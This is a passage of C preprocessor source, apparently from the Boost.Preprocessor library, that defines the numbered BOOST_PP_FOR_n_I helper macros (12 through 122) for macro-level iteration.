# define BOOST_PP_FOR_12_I(s, p, o, m) BOOST_PP_IF(p(13, s), m, BOOST_PP_TUPLE_EAT_2)(13, s) BOOST_PP_IF(p(13, s), BOOST_PP_FOR_13, BOOST_PP_TUPLE_EAT_4)(o(13, s), p, o, m)
# define BOOST_PP_FOR_13_I(s, p, o, m) BOOST_PP_IF(p(14, s), m, BOOST_PP_TUPLE_EAT_2)(14, s) BOOST_PP_IF(p(14, s), BOOST_PP_FOR_14, BOOST_PP_TUPLE_EAT_4)(o(14, s), p, o, m)
# define BOOST_PP_FOR_14_I(s, p, o, m) BOOST_PP_IF(p(15, s), m, BOOST_PP_TUPLE_EAT_2)(15, s) BOOST_PP_IF(p(15, s), BOOST_PP_FOR_15, BOOST_PP_TUPLE_EAT_4)(o(15, s), p, o, m)
# define BOOST_PP_FOR_15_I(s, p, o, m) BOOST_PP_IF(p(16, s), m, BOOST_PP_TUPLE_EAT_2)(16, s) BOOST_PP_IF(p(16, s), BOOST_PP_FOR_16, BOOST_PP_TUPLE_EAT_4)(o(16, s), p, o, m)
# define BOOST_PP_FOR_16_I(s, p, o, m) BOOST_PP_IF(p(17, s), m, BOOST_PP_TUPLE_EAT_2)(17, s) BOOST_PP_IF(p(17, s), BOOST_PP_FOR_17, BOOST_PP_TUPLE_EAT_4)(o(17, s), p, o, m)
# define BOOST_PP_FOR_17_I(s, p, o, m) BOOST_PP_IF(p(18, s), m, BOOST_PP_TUPLE_EAT_2)(18, s) BOOST_PP_IF(p(18, s), BOOST_PP_FOR_18, BOOST_PP_TUPLE_EAT_4)(o(18, s), p, o, m)
# define BOOST_PP_FOR_18_I(s, p, o, m) BOOST_PP_IF(p(19, s), m, BOOST_PP_TUPLE_EAT_2)(19, s) BOOST_PP_IF(p(19, s), BOOST_PP_FOR_19, BOOST_PP_TUPLE_EAT_4)(o(19, s), p, o, m)
# define BOOST_PP_FOR_19_I(s, p, o, m) BOOST_PP_IF(p(20, s), m, BOOST_PP_TUPLE_EAT_2)(20, s) BOOST_PP_IF(p(20, s), BOOST_PP_FOR_20, BOOST_PP_TUPLE_EAT_4)(o(20, s), p, o, m)
# define BOOST_PP_FOR_20_I(s, p, o, m) BOOST_PP_IF(p(21, s), m, BOOST_PP_TUPLE_EAT_2)(21, s) BOOST_PP_IF(p(21, s), BOOST_PP_FOR_21, BOOST_PP_TUPLE_EAT_4)(o(21, s), p, o, m)
# define BOOST_PP_FOR_21_I(s, p, o, m) BOOST_PP_IF(p(22, s), m, BOOST_PP_TUPLE_EAT_2)(22, s) BOOST_PP_IF(p(22, s), BOOST_PP_FOR_22, BOOST_PP_TUPLE_EAT_4)(o(22, s), p, o, m)
# define BOOST_PP_FOR_22_I(s, p, o, m) BOOST_PP_IF(p(23, s), m, BOOST_PP_TUPLE_EAT_2)(23, s) BOOST_PP_IF(p(23, s), BOOST_PP_FOR_23, BOOST_PP_TUPLE_EAT_4)(o(23, s), p, o, m)
# define BOOST_PP_FOR_23_I(s, p, o, m) BOOST_PP_IF(p(24, s), m, BOOST_PP_TUPLE_EAT_2)(24, s) BOOST_PP_IF(p(24, s), BOOST_PP_FOR_24, BOOST_PP_TUPLE_EAT_4)(o(24, s), p, o, m)
# define BOOST_PP_FOR_24_I(s, p, o, m) BOOST_PP_IF(p(25, s), m, BOOST_PP_TUPLE_EAT_2)(25, s) BOOST_PP_IF(p(25, s), BOOST_PP_FOR_25, BOOST_PP_TUPLE_EAT_4)(o(25, s), p, o, m)
# define BOOST_PP_FOR_25_I(s, p, o, m) BOOST_PP_IF(p(26, s), m, BOOST_PP_TUPLE_EAT_2)(26, s) BOOST_PP_IF(p(26, s), BOOST_PP_FOR_26, BOOST_PP_TUPLE_EAT_4)(o(26, s), p, o, m)
# define BOOST_PP_FOR_26_I(s, p, o, m) BOOST_PP_IF(p(27, s), m, BOOST_PP_TUPLE_EAT_2)(27, s) BOOST_PP_IF(p(27, s), BOOST_PP_FOR_27, BOOST_PP_TUPLE_EAT_4)(o(27, s), p, o, m)
# define BOOST_PP_FOR_27_I(s, p, o, m) BOOST_PP_IF(p(28, s), m, BOOST_PP_TUPLE_EAT_2)(28, s) BOOST_PP_IF(p(28, s), BOOST_PP_FOR_28, BOOST_PP_TUPLE_EAT_4)(o(28, s), p, o, m)
# define BOOST_PP_FOR_28_I(s, p, o, m) BOOST_PP_IF(p(29, s), m, BOOST_PP_TUPLE_EAT_2)(29, s) BOOST_PP_IF(p(29, s), BOOST_PP_FOR_29, BOOST_PP_TUPLE_EAT_4)(o(29, s), p, o, m)
# define BOOST_PP_FOR_29_I(s, p, o, m) BOOST_PP_IF(p(30, s), m, BOOST_PP_TUPLE_EAT_2)(30, s) BOOST_PP_IF(p(30, s), BOOST_PP_FOR_30, BOOST_PP_TUPLE_EAT_4)(o(30, s), p, o, m)
# define BOOST_PP_FOR_30_I(s, p, o, m) BOOST_PP_IF(p(31, s), m, BOOST_PP_TUPLE_EAT_2)(31, s) BOOST_PP_IF(p(31, s), BOOST_PP_FOR_31, BOOST_PP_TUPLE_EAT_4)(o(31, s), p, o, m)
# define BOOST_PP_FOR_31_I(s, p, o, m) BOOST_PP_IF(p(32, s), m, BOOST_PP_TUPLE_EAT_2)(32, s) BOOST_PP_IF(p(32, s), BOOST_PP_FOR_32, BOOST_PP_TUPLE_EAT_4)(o(32, s), p, o, m)
# define BOOST_PP_FOR_32_I(s, p, o, m) BOOST_PP_IF(p(33, s), m, BOOST_PP_TUPLE_EAT_2)(33, s) BOOST_PP_IF(p(33, s), BOOST_PP_FOR_33, BOOST_PP_TUPLE_EAT_4)(o(33, s), p, o, m)
# define BOOST_PP_FOR_33_I(s, p, o, m) BOOST_PP_IF(p(34, s), m, BOOST_PP_TUPLE_EAT_2)(34, s) BOOST_PP_IF(p(34, s), BOOST_PP_FOR_34, BOOST_PP_TUPLE_EAT_4)(o(34, s), p, o, m)
# define BOOST_PP_FOR_34_I(s, p, o, m) BOOST_PP_IF(p(35, s), m, BOOST_PP_TUPLE_EAT_2)(35, s) BOOST_PP_IF(p(35, s), BOOST_PP_FOR_35, BOOST_PP_TUPLE_EAT_4)(o(35, s), p, o, m)
# define BOOST_PP_FOR_35_I(s, p, o, m) BOOST_PP_IF(p(36, s), m, BOOST_PP_TUPLE_EAT_2)(36, s) BOOST_PP_IF(p(36, s), BOOST_PP_FOR_36, BOOST_PP_TUPLE_EAT_4)(o(36, s), p, o, m)
# define BOOST_PP_FOR_36_I(s, p, o, m) BOOST_PP_IF(p(37, s), m, BOOST_PP_TUPLE_EAT_2)(37, s) BOOST_PP_IF(p(37, s), BOOST_PP_FOR_37, BOOST_PP_TUPLE_EAT_4)(o(37, s), p, o, m)
# define BOOST_PP_FOR_37_I(s, p, o, m) BOOST_PP_IF(p(38, s), m, BOOST_PP_TUPLE_EAT_2)(38, s) BOOST_PP_IF(p(38, s), BOOST_PP_FOR_38, BOOST_PP_TUPLE_EAT_4)(o(38, s), p, o, m)
# define BOOST_PP_FOR_38_I(s, p, o, m) BOOST_PP_IF(p(39, s), m, BOOST_PP_TUPLE_EAT_2)(39, s) BOOST_PP_IF(p(39, s), BOOST_PP_FOR_39, BOOST_PP_TUPLE_EAT_4)(o(39, s), p, o, m)
# define BOOST_PP_FOR_39_I(s, p, o, m) BOOST_PP_IF(p(40, s), m, BOOST_PP_TUPLE_EAT_2)(40, s) BOOST_PP_IF(p(40, s), BOOST_PP_FOR_40, BOOST_PP_TUPLE_EAT_4)(o(40, s), p, o, m)
# define BOOST_PP_FOR_40_I(s, p, o, m) BOOST_PP_IF(p(41, s), m, BOOST_PP_TUPLE_EAT_2)(41, s) BOOST_PP_IF(p(41, s), BOOST_PP_FOR_41, BOOST_PP_TUPLE_EAT_4)(o(41, s), p, o, m)
# define BOOST_PP_FOR_41_I(s, p, o, m) BOOST_PP_IF(p(42, s), m, BOOST_PP_TUPLE_EAT_2)(42, s) BOOST_PP_IF(p(42, s), BOOST_PP_FOR_42, BOOST_PP_TUPLE_EAT_4)(o(42, s), p, o, m)
# define BOOST_PP_FOR_42_I(s, p, o, m) BOOST_PP_IF(p(43, s), m, BOOST_PP_TUPLE_EAT_2)(43, s) BOOST_PP_IF(p(43, s), BOOST_PP_FOR_43, BOOST_PP_TUPLE_EAT_4)(o(43, s), p, o, m)
# define BOOST_PP_FOR_43_I(s, p, o, m) BOOST_PP_IF(p(44, s), m, BOOST_PP_TUPLE_EAT_2)(44, s) BOOST_PP_IF(p(44, s), BOOST_PP_FOR_44, BOOST_PP_TUPLE_EAT_4)(o(44, s), p, o, m)
# define BOOST_PP_FOR_44_I(s, p, o, m) BOOST_PP_IF(p(45, s), m, BOOST_PP_TUPLE_EAT_2)(45, s) BOOST_PP_IF(p(45, s), BOOST_PP_FOR_45, BOOST_PP_TUPLE_EAT_4)(o(45, s), p, o, m)
# define BOOST_PP_FOR_45_I(s, p, o, m) BOOST_PP_IF(p(46, s), m, BOOST_PP_TUPLE_EAT_2)(46, s) BOOST_PP_IF(p(46, s), BOOST_PP_FOR_46, BOOST_PP_TUPLE_EAT_4)(o(46, s), p, o, m)
# define BOOST_PP_FOR_46_I(s, p, o, m) BOOST_PP_IF(p(47, s), m, BOOST_PP_TUPLE_EAT_2)(47, s) BOOST_PP_IF(p(47, s), BOOST_PP_FOR_47, BOOST_PP_TUPLE_EAT_4)(o(47, s), p, o, m)
# define BOOST_PP_FOR_47_I(s, p, o, m) BOOST_PP_IF(p(48, s), m, BOOST_PP_TUPLE_EAT_2)(48, s) BOOST_PP_IF(p(48, s), BOOST_PP_FOR_48, BOOST_PP_TUPLE_EAT_4)(o(48, s), p, o, m)
# define BOOST_PP_FOR_48_I(s, p, o, m) BOOST_PP_IF(p(49, s), m, BOOST_PP_TUPLE_EAT_2)(49, s) BOOST_PP_IF(p(49, s), BOOST_PP_FOR_49, BOOST_PP_TUPLE_EAT_4)(o(49, s), p, o, m)
# define BOOST_PP_FOR_49_I(s, p, o, m) BOOST_PP_IF(p(50, s), m, BOOST_PP_TUPLE_EAT_2)(50, s) BOOST_PP_IF(p(50, s), BOOST_PP_FOR_50, BOOST_PP_TUPLE_EAT_4)(o(50, s), p, o, m)
# define BOOST_PP_FOR_50_I(s, p, o, m) BOOST_PP_IF(p(51, s), m, BOOST_PP_TUPLE_EAT_2)(51, s) BOOST_PP_IF(p(51, s), BOOST_PP_FOR_51, BOOST_PP_TUPLE_EAT_4)(o(51, s), p, o, m)
# define BOOST_PP_FOR_51_I(s, p, o, m) BOOST_PP_IF(p(52, s), m, BOOST_PP_TUPLE_EAT_2)(52, s) BOOST_PP_IF(p(52, s), BOOST_PP_FOR_52, BOOST_PP_TUPLE_EAT_4)(o(52, s), p, o, m)
# define BOOST_PP_FOR_52_I(s, p, o, m) BOOST_PP_IF(p(53, s), m, BOOST_PP_TUPLE_EAT_2)(53, s) BOOST_PP_IF(p(53, s), BOOST_PP_FOR_53, BOOST_PP_TUPLE_EAT_4)(o(53, s), p, o, m)
# define BOOST_PP_FOR_53_I(s, p, o, m) BOOST_PP_IF(p(54, s), m, BOOST_PP_TUPLE_EAT_2)(54, s) BOOST_PP_IF(p(54, s), BOOST_PP_FOR_54, BOOST_PP_TUPLE_EAT_4)(o(54, s), p, o, m)
# define BOOST_PP_FOR_54_I(s, p, o, m) BOOST_PP_IF(p(55, s), m, BOOST_PP_TUPLE_EAT_2)(55, s) BOOST_PP_IF(p(55, s), BOOST_PP_FOR_55, BOOST_PP_TUPLE_EAT_4)(o(55, s), p, o, m)
# define BOOST_PP_FOR_55_I(s, p, o, m) BOOST_PP_IF(p(56, s), m, BOOST_PP_TUPLE_EAT_2)(56, s) BOOST_PP_IF(p(56, s), BOOST_PP_FOR_56, BOOST_PP_TUPLE_EAT_4)(o(56, s), p, o, m)
# define BOOST_PP_FOR_56_I(s, p, o, m) BOOST_PP_IF(p(57, s), m, BOOST_PP_TUPLE_EAT_2)(57, s) BOOST_PP_IF(p(57, s), BOOST_PP_FOR_57, BOOST_PP_TUPLE_EAT_4)(o(57, s), p, o, m)
# define BOOST_PP_FOR_57_I(s, p, o, m) BOOST_PP_IF(p(58, s), m, BOOST_PP_TUPLE_EAT_2)(58, s) BOOST_PP_IF(p(58, s), BOOST_PP_FOR_58, BOOST_PP_TUPLE_EAT_4)(o(58, s), p, o, m)
# define BOOST_PP_FOR_58_I(s, p, o, m) BOOST_PP_IF(p(59, s), m, BOOST_PP_TUPLE_EAT_2)(59, s) BOOST_PP_IF(p(59, s), BOOST_PP_FOR_59, BOOST_PP_TUPLE_EAT_4)(o(59, s), p, o, m)
# define BOOST_PP_FOR_59_I(s, p, o, m) BOOST_PP_IF(p(60, s), m, BOOST_PP_TUPLE_EAT_2)(60, s) BOOST_PP_IF(p(60, s), BOOST_PP_FOR_60, BOOST_PP_TUPLE_EAT_4)(o(60, s), p, o, m)
# define BOOST_PP_FOR_60_I(s, p, o, m) BOOST_PP_IF(p(61, s), m, BOOST_PP_TUPLE_EAT_2)(61, s) BOOST_PP_IF(p(61, s), BOOST_PP_FOR_61, BOOST_PP_TUPLE_EAT_4)(o(61, s), p, o, m)
# define BOOST_PP_FOR_61_I(s, p, o, m) BOOST_PP_IF(p(62, s), m, BOOST_PP_TUPLE_EAT_2)(62, s) BOOST_PP_IF(p(62, s), BOOST_PP_FOR_62, BOOST_PP_TUPLE_EAT_4)(o(62, s), p, o, m)
# define BOOST_PP_FOR_62_I(s, p, o, m) BOOST_PP_IF(p(63, s), m, BOOST_PP_TUPLE_EAT_2)(63, s) BOOST_PP_IF(p(63, s), BOOST_PP_FOR_63, BOOST_PP_TUPLE_EAT_4)(o(63, s), p, o, m)
# define BOOST_PP_FOR_63_I(s, p, o, m) BOOST_PP_IF(p(64, s), m, BOOST_PP_TUPLE_EAT_2)(64, s) BOOST_PP_IF(p(64, s), BOOST_PP_FOR_64, BOOST_PP_TUPLE_EAT_4)(o(64, s), p, o, m)
# define BOOST_PP_FOR_64_I(s, p, o, m) BOOST_PP_IF(p(65, s), m, BOOST_PP_TUPLE_EAT_2)(65, s) BOOST_PP_IF(p(65, s), BOOST_PP_FOR_65, BOOST_PP_TUPLE_EAT_4)(o(65, s), p, o, m)
# define BOOST_PP_FOR_65_I(s, p, o, m) BOOST_PP_IF(p(66, s), m, BOOST_PP_TUPLE_EAT_2)(66, s) BOOST_PP_IF(p(66, s), BOOST_PP_FOR_66, BOOST_PP_TUPLE_EAT_4)(o(66, s), p, o, m)
# define BOOST_PP_FOR_66_I(s, p, o, m) BOOST_PP_IF(p(67, s), m, BOOST_PP_TUPLE_EAT_2)(67, s) BOOST_PP_IF(p(67, s), BOOST_PP_FOR_67, BOOST_PP_TUPLE_EAT_4)(o(67, s), p, o, m)
# define BOOST_PP_FOR_67_I(s, p, o, m) BOOST_PP_IF(p(68, s), m, BOOST_PP_TUPLE_EAT_2)(68, s) BOOST_PP_IF(p(68, s), BOOST_PP_FOR_68, BOOST_PP_TUPLE_EAT_4)(o(68, s), p, o, m)
# define BOOST_PP_FOR_68_I(s, p, o, m) BOOST_PP_IF(p(69, s), m, BOOST_PP_TUPLE_EAT_2)(69, s) BOOST_PP_IF(p(69, s), BOOST_PP_FOR_69, BOOST_PP_TUPLE_EAT_4)(o(69, s), p, o, m)
# define BOOST_PP_FOR_69_I(s, p, o, m) BOOST_PP_IF(p(70, s), m, BOOST_PP_TUPLE_EAT_2)(70, s) BOOST_PP_IF(p(70, s), BOOST_PP_FOR_70, BOOST_PP_TUPLE_EAT_4)(o(70, s), p, o, m)
# define BOOST_PP_FOR_70_I(s, p, o, m) BOOST_PP_IF(p(71, s), m, BOOST_PP_TUPLE_EAT_2)(71, s) BOOST_PP_IF(p(71, s), BOOST_PP_FOR_71, BOOST_PP_TUPLE_EAT_4)(o(71, s), p, o, m)
# define BOOST_PP_FOR_71_I(s, p, o, m) BOOST_PP_IF(p(72, s), m, BOOST_PP_TUPLE_EAT_2)(72, s) BOOST_PP_IF(p(72, s), BOOST_PP_FOR_72, BOOST_PP_TUPLE_EAT_4)(o(72, s), p, o, m)
# define BOOST_PP_FOR_72_I(s, p, o, m) BOOST_PP_IF(p(73, s), m, BOOST_PP_TUPLE_EAT_2)(73, s) BOOST_PP_IF(p(73, s), BOOST_PP_FOR_73, BOOST_PP_TUPLE_EAT_4)(o(73, s), p, o, m)
# define BOOST_PP_FOR_73_I(s, p, o, m) BOOST_PP_IF(p(74, s), m, BOOST_PP_TUPLE_EAT_2)(74, s) BOOST_PP_IF(p(74, s), BOOST_PP_FOR_74, BOOST_PP_TUPLE_EAT_4)(o(74, s), p, o, m)
# define BOOST_PP_FOR_74_I(s, p, o, m) BOOST_PP_IF(p(75, s), m, BOOST_PP_TUPLE_EAT_2)(75, s) BOOST_PP_IF(p(75, s), BOOST_PP_FOR_75, BOOST_PP_TUPLE_EAT_4)(o(75, s), p, o, m)
# define BOOST_PP_FOR_75_I(s, p, o, m) BOOST_PP_IF(p(76, s), m, BOOST_PP_TUPLE_EAT_2)(76, s) BOOST_PP_IF(p(76, s), BOOST_PP_FOR_76, BOOST_PP_TUPLE_EAT_4)(o(76, s), p, o, m)
# define BOOST_PP_FOR_76_I(s, p, o, m) BOOST_PP_IF(p(77, s), m, BOOST_PP_TUPLE_EAT_2)(77, s) BOOST_PP_IF(p(77, s), BOOST_PP_FOR_77, BOOST_PP_TUPLE_EAT_4)(o(77, s), p, o, m)
# define BOOST_PP_FOR_77_I(s, p, o, m) BOOST_PP_IF(p(78, s), m, BOOST_PP_TUPLE_EAT_2)(78, s) BOOST_PP_IF(p(78, s), BOOST_PP_FOR_78, BOOST_PP_TUPLE_EAT_4)(o(78, s), p, o, m)
# define BOOST_PP_FOR_78_I(s, p, o, m) BOOST_PP_IF(p(79, s), m, BOOST_PP_TUPLE_EAT_2)(79, s) BOOST_PP_IF(p(79, s), BOOST_PP_FOR_79, BOOST_PP_TUPLE_EAT_4)(o(79, s), p, o, m)
# define BOOST_PP_FOR_79_I(s, p, o, m) BOOST_PP_IF(p(80, s), m, BOOST_PP_TUPLE_EAT_2)(80, s) BOOST_PP_IF(p(80, s), BOOST_PP_FOR_80, BOOST_PP_TUPLE_EAT_4)(o(80, s), p, o, m)
# define BOOST_PP_FOR_80_I(s, p, o, m) BOOST_PP_IF(p(81, s), m, BOOST_PP_TUPLE_EAT_2)(81, s) BOOST_PP_IF(p(81, s), BOOST_PP_FOR_81, BOOST_PP_TUPLE_EAT_4)(o(81, s), p, o, m)
# define BOOST_PP_FOR_81_I(s, p, o, m) BOOST_PP_IF(p(82, s), m, BOOST_PP_TUPLE_EAT_2)(82, s) BOOST_PP_IF(p(82, s), BOOST_PP_FOR_82, BOOST_PP_TUPLE_EAT_4)(o(82, s), p, o, m)
# define BOOST_PP_FOR_82_I(s, p, o, m) BOOST_PP_IF(p(83, s), m, BOOST_PP_TUPLE_EAT_2)(83, s) BOOST_PP_IF(p(83, s), BOOST_PP_FOR_83, BOOST_PP_TUPLE_EAT_4)(o(83, s), p, o, m)
# define BOOST_PP_FOR_83_I(s, p, o, m) BOOST_PP_IF(p(84, s), m, BOOST_PP_TUPLE_EAT_2)(84, s) BOOST_PP_IF(p(84, s), BOOST_PP_FOR_84, BOOST_PP_TUPLE_EAT_4)(o(84, s), p, o, m)
# define BOOST_PP_FOR_84_I(s, p, o, m) BOOST_PP_IF(p(85, s), m, BOOST_PP_TUPLE_EAT_2)(85, s) BOOST_PP_IF(p(85, s), BOOST_PP_FOR_85, BOOST_PP_TUPLE_EAT_4)(o(85, s), p, o, m)
# define BOOST_PP_FOR_85_I(s, p, o, m) BOOST_PP_IF(p(86, s), m, BOOST_PP_TUPLE_EAT_2)(86, s) BOOST_PP_IF(p(86, s), BOOST_PP_FOR_86, BOOST_PP_TUPLE_EAT_4)(o(86, s), p, o, m)
# define BOOST_PP_FOR_86_I(s, p, o, m) BOOST_PP_IF(p(87, s), m, BOOST_PP_TUPLE_EAT_2)(87, s) BOOST_PP_IF(p(87, s), BOOST_PP_FOR_87, BOOST_PP_TUPLE_EAT_4)(o(87, s), p, o, m)
# define BOOST_PP_FOR_87_I(s, p, o, m) BOOST_PP_IF(p(88, s), m, BOOST_PP_TUPLE_EAT_2)(88, s) BOOST_PP_IF(p(88, s), BOOST_PP_FOR_88, BOOST_PP_TUPLE_EAT_4)(o(88, s), p, o, m)
# define BOOST_PP_FOR_88_I(s, p, o, m) BOOST_PP_IF(p(89, s), m, BOOST_PP_TUPLE_EAT_2)(89, s) BOOST_PP_IF(p(89, s), BOOST_PP_FOR_89, BOOST_PP_TUPLE_EAT_4)(o(89, s), p, o, m)
# define BOOST_PP_FOR_89_I(s, p, o, m) BOOST_PP_IF(p(90, s), m, BOOST_PP_TUPLE_EAT_2)(90, s) BOOST_PP_IF(p(90, s), BOOST_PP_FOR_90, BOOST_PP_TUPLE_EAT_4)(o(90, s), p, o, m)
# define BOOST_PP_FOR_90_I(s, p, o, m) BOOST_PP_IF(p(91, s), m, BOOST_PP_TUPLE_EAT_2)(91, s) BOOST_PP_IF(p(91, s), BOOST_PP_FOR_91, BOOST_PP_TUPLE_EAT_4)(o(91, s), p, o, m)
# define BOOST_PP_FOR_91_I(s, p, o, m) BOOST_PP_IF(p(92, s), m, BOOST_PP_TUPLE_EAT_2)(92, s) BOOST_PP_IF(p(92, s), BOOST_PP_FOR_92, BOOST_PP_TUPLE_EAT_4)(o(92, s), p, o, m)
# define BOOST_PP_FOR_92_I(s, p, o, m) BOOST_PP_IF(p(93, s), m, BOOST_PP_TUPLE_EAT_2)(93, s) BOOST_PP_IF(p(93, s), BOOST_PP_FOR_93, BOOST_PP_TUPLE_EAT_4)(o(93, s), p, o, m)
# define BOOST_PP_FOR_93_I(s, p, o, m) BOOST_PP_IF(p(94, s), m, BOOST_PP_TUPLE_EAT_2)(94, s) BOOST_PP_IF(p(94, s), BOOST_PP_FOR_94, BOOST_PP_TUPLE_EAT_4)(o(94, s), p, o, m)
# define BOOST_PP_FOR_94_I(s, p, o, m) BOOST_PP_IF(p(95, s), m, BOOST_PP_TUPLE_EAT_2)(95, s) BOOST_PP_IF(p(95, s), BOOST_PP_FOR_95, BOOST_PP_TUPLE_EAT_4)(o(95, s), p, o, m)
# define BOOST_PP_FOR_95_I(s, p, o, m) BOOST_PP_IF(p(96, s), m, BOOST_PP_TUPLE_EAT_2)(96, s) BOOST_PP_IF(p(96, s), BOOST_PP_FOR_96, BOOST_PP_TUPLE_EAT_4)(o(96, s), p, o, m)
# define BOOST_PP_FOR_96_I(s, p, o, m) BOOST_PP_IF(p(97, s), m, BOOST_PP_TUPLE_EAT_2)(97, s) BOOST_PP_IF(p(97, s), BOOST_PP_FOR_97, BOOST_PP_TUPLE_EAT_4)(o(97, s), p, o, m)
# define BOOST_PP_FOR_97_I(s, p, o, m) BOOST_PP_IF(p(98, s), m, BOOST_PP_TUPLE_EAT_2)(98, s) BOOST_PP_IF(p(98, s), BOOST_PP_FOR_98, BOOST_PP_TUPLE_EAT_4)(o(98, s), p, o, m)
# define BOOST_PP_FOR_98_I(s, p, o, m) BOOST_PP_IF(p(99, s), m, BOOST_PP_TUPLE_EAT_2)(99, s) BOOST_PP_IF(p(99, s), BOOST_PP_FOR_99, BOOST_PP_TUPLE_EAT_4)(o(99, s), p, o, m)
# define BOOST_PP_FOR_99_I(s, p, o, m) BOOST_PP_IF(p(100, s), m, BOOST_PP_TUPLE_EAT_2)(100, s) BOOST_PP_IF(p(100, s), BOOST_PP_FOR_100, BOOST_PP_TUPLE_EAT_4)(o(100, s), p, o, m)
# define BOOST_PP_FOR_100_I(s, p, o, m) BOOST_PP_IF(p(101, s), m, BOOST_PP_TUPLE_EAT_2)(101, s) BOOST_PP_IF(p(101, s), BOOST_PP_FOR_101, BOOST_PP_TUPLE_EAT_4)(o(101, s), p, o, m)
# define BOOST_PP_FOR_101_I(s, p, o, m) BOOST_PP_IF(p(102, s), m, BOOST_PP_TUPLE_EAT_2)(102, s) BOOST_PP_IF(p(102, s), BOOST_PP_FOR_102, BOOST_PP_TUPLE_EAT_4)(o(102, s), p, o, m)
# define BOOST_PP_FOR_102_I(s, p, o, m) BOOST_PP_IF(p(103, s), m, BOOST_PP_TUPLE_EAT_2)(103, s) BOOST_PP_IF(p(103, s), BOOST_PP_FOR_103, BOOST_PP_TUPLE_EAT_4)(o(103, s), p, o, m)
# define BOOST_PP_FOR_103_I(s, p, o, m) BOOST_PP_IF(p(104, s), m, BOOST_PP_TUPLE_EAT_2)(104, s) BOOST_PP_IF(p(104, s), BOOST_PP_FOR_104, BOOST_PP_TUPLE_EAT_4)(o(104, s), p, o, m)
# define BOOST_PP_FOR_104_I(s, p, o, m) BOOST_PP_IF(p(105, s), m, BOOST_PP_TUPLE_EAT_2)(105, s) BOOST_PP_IF(p(105, s), BOOST_PP_FOR_105, BOOST_PP_TUPLE_EAT_4)(o(105, s), p, o, m)
# define BOOST_PP_FOR_105_I(s, p, o, m) BOOST_PP_IF(p(106, s), m, BOOST_PP_TUPLE_EAT_2)(106, s) BOOST_PP_IF(p(106, s), BOOST_PP_FOR_106, BOOST_PP_TUPLE_EAT_4)(o(106, s), p, o, m)
# define BOOST_PP_FOR_106_I(s, p, o, m) BOOST_PP_IF(p(107, s), m, BOOST_PP_TUPLE_EAT_2)(107, s) BOOST_PP_IF(p(107, s), BOOST_PP_FOR_107, BOOST_PP_TUPLE_EAT_4)(o(107, s), p, o, m)
# define BOOST_PP_FOR_107_I(s, p, o, m) BOOST_PP_IF(p(108, s), m, BOOST_PP_TUPLE_EAT_2)(108, s) BOOST_PP_IF(p(108, s), BOOST_PP_FOR_108, BOOST_PP_TUPLE_EAT_4)(o(108, s), p, o, m)
# define BOOST_PP_FOR_108_I(s, p, o, m) BOOST_PP_IF(p(109, s), m, BOOST_PP_TUPLE_EAT_2)(109, s) BOOST_PP_IF(p(109, s), BOOST_PP_FOR_109, BOOST_PP_TUPLE_EAT_4)(o(109, s), p, o, m)
# define BOOST_PP_FOR_109_I(s, p, o, m) BOOST_PP_IF(p(110, s), m, BOOST_PP_TUPLE_EAT_2)(110, s) BOOST_PP_IF(p(110, s), BOOST_PP_FOR_110, BOOST_PP_TUPLE_EAT_4)(o(110, s), p, o, m)
# define BOOST_PP_FOR_110_I(s, p, o, m) BOOST_PP_IF(p(111, s), m, BOOST_PP_TUPLE_EAT_2)(111, s) BOOST_PP_IF(p(111, s), BOOST_PP_FOR_111, BOOST_PP_TUPLE_EAT_4)(o(111, s), p, o, m)
# define BOOST_PP_FOR_111_I(s, p, o, m) BOOST_PP_IF(p(112, s), m, BOOST_PP_TUPLE_EAT_2)(112, s) BOOST_PP_IF(p(112, s), BOOST_PP_FOR_112, BOOST_PP_TUPLE_EAT_4)(o(112, s), p, o, m)
# define BOOST_PP_FOR_112_I(s, p, o, m) BOOST_PP_IF(p(113, s), m, BOOST_PP_TUPLE_EAT_2)(113, s) BOOST_PP_IF(p(113, s), BOOST_PP_FOR_113, BOOST_PP_TUPLE_EAT_4)(o(113, s), p, o, m)
# define BOOST_PP_FOR_113_I(s, p, o, m) BOOST_PP_IF(p(114, s), m, BOOST_PP_TUPLE_EAT_2)(114, s) BOOST_PP_IF(p(114, s), BOOST_PP_FOR_114, BOOST_PP_TUPLE_EAT_4)(o(114, s), p, o, m)
# define BOOST_PP_FOR_114_I(s, p, o, m) BOOST_PP_IF(p(115, s), m, BOOST_PP_TUPLE_EAT_2)(115, s) BOOST_PP_IF(p(115, s), BOOST_PP_FOR_115, BOOST_PP_TUPLE_EAT_4)(o(115, s), p, o, m)
# define BOOST_PP_FOR_115_I(s, p, o, m) BOOST_PP_IF(p(116, s), m, BOOST_PP_TUPLE_EAT_2)(116, s) BOOST_PP_IF(p(116, s), BOOST_PP_FOR_116, BOOST_PP_TUPLE_EAT_4)(o(116, s), p, o, m)
# define BOOST_PP_FOR_116_I(s, p, o, m) BOOST_PP_IF(p(117, s), m, BOOST_PP_TUPLE_EAT_2)(117, s) BOOST_PP_IF(p(117, s), BOOST_PP_FOR_117, BOOST_PP_TUPLE_EAT_4)(o(117, s), p, o, m)
# define BOOST_PP_FOR_117_I(s, p, o, m) BOOST_PP_IF(p(118, s), m, BOOST_PP_TUPLE_EAT_2)(118, s) BOOST_PP_IF(p(118, s), BOOST_PP_FOR_118, BOOST_PP_TUPLE_EAT_4)(o(118, s), p, o, m)
# define BOOST_PP_FOR_118_I(s, p, o, m) BOOST_PP_IF(p(119, s), m, BOOST_PP_TUPLE_EAT_2)(119, s) BOOST_PP_IF(p(119, s), BOOST_PP_FOR_119, BOOST_PP_TUPLE_EAT_4)(o(119, s), p, o, m)
# define BOOST_PP_FOR_119_I(s, p, o, m) BOOST_PP_IF(p(120, s), m, BOOST_PP_TUPLE_EAT_2)(120, s) BOOST_PP_IF(p(120, s), BOOST_PP_FOR_120, BOOST_PP_TUPLE_EAT_4)(o(120, s), p, o, m)
# define BOOST_PP_FOR_120_I(s, p, o, m) BOOST_PP_IF(p(121, s), m, BOOST_PP_TUPLE_EAT_2)(121, s) BOOST_PP_IF(p(121, s), BOOST_PP_FOR_121, BOOST_PP_TUPLE_EAT_4)(o(121, s), p, o, m)
# define BOOST_PP_FOR_121_I(s, p, o, m) BOOST_PP_IF(p(122, s), m, BOOST_PP_TUPLE_EAT_2)(122, s) BOOST_PP_IF(p(122, s), BOOST_PP_FOR_122, BOOST_PP_TUPLE_EAT_4)(o(122, s), p, o, m)
# define BOOST_PP_FOR_122_I(s, p, o, m) BOOST_PP_IF(p(123, s), m, BOOST_PP_TUPLE_EAT_2)(123, s) BOOST_PP_IF(p(123, s), BOOST_PP_FOR_123, BOOST_PP_TUPLE_EAT_4)(o(123, s), p, o, m)
